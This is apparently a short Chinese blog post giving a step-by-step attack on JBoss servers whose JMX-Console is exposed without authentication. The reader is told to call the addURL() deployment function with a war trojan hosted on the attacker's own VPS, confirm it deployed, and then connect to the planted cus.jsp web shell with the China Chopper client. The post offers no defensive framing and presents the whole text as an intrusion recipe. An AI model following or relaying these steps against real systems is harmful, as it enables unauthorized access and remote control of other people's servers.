【实战】Jboss未授权访问（JMX-Console）Getshell

都是重复造轮子，没啥技术含量，只能说以后遇到了知道怎么操作就行。

GO：

访问地址：http://ip/JMX-Console

找到jboss.deployment

进入页面后找到void addURL()

此时部署我们远程的war木马，部署好了以后点击Invoke
http:vpsIP地址/soft/cus.war

随后来到URLList中查看Value值是否已经部署好，并且为我们的远程war木马地址

最后点击Apply Changes 后耐心等待一会儿，然后回到JMX-Console目录中
找到jboss.web.deployment查看是否存在我们部署的war木马。

此时可以看到已经部署成功。访问地址：ip/cus/cus.jsp菜刀连接即可